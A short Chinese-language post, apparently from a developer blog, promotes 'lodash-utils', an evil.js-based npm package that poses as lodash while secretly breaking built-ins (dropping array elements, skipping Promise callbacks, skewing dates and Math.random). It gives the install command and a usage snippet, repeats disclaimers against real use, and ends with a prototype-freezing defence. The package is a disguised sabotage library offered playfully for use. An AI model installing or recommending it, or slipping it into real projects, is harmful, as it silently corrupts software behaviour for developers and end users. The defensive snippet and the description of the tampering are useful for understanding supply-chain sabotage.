给大家推荐一个有意思的前端插件
声明:请勿用于任何项目!
郑重声明: 如果将此代码放在项目中,可能会使项目无法按预期工作,因此,
不要在任何项目中使用它! 不要在任何项目中使用它! 不要在任何项目中使用它!
lodash-utils
基于 evil.js 优化,引入之后, 可以当作 lodash 使用,然后在特定条件下产生一些错误。例如:
- Array.includes 应用的数组长度可以被7整除时,永远返回false。
- Array.map 有5%概率会丢失最后一个元素。
- Array.filter 的结果有5%的概率丢失最后一个元素。
- Array.forEach 会卡死一段时间。
- setTimeout 总是会比预期时间慢1秒才触发。
- Promise.then 有10%概率不会触发。
- JSON.stringify 有30%概率会把I(大写字母I)变成l(小写字母L)。
- Date.getTime() 的结果总是会慢一个小时。
- localStorage.getItem 有5%几率返回空字符串。
- Math.random() 的取值范围改为0到1.1
安装
npm i wll8/lodash-utils
使用
const _ = require(`lodash-utils`)
const oldObj = {a: 1}
const newObj = _.cloneDeep(oldObj)
console.log(`newObj`, newObj)
防范示例
// 冻结 prototype
;[
Promise,
Date,
Array,
].forEach(item => {
Object.freeze(item[`prototype`]);
})
// 测试拦截情况
if(Array.prototype.includes.toString().includes(`native code`)) {
console.log(`恶意代码被拦截`)
}
声明:请勿用于任何项目!如果导致任何问题,与本人无关。
有兴趣的小伙伴可以去看看源码,很简单哦!!!
也可以自己定义方法哦!!!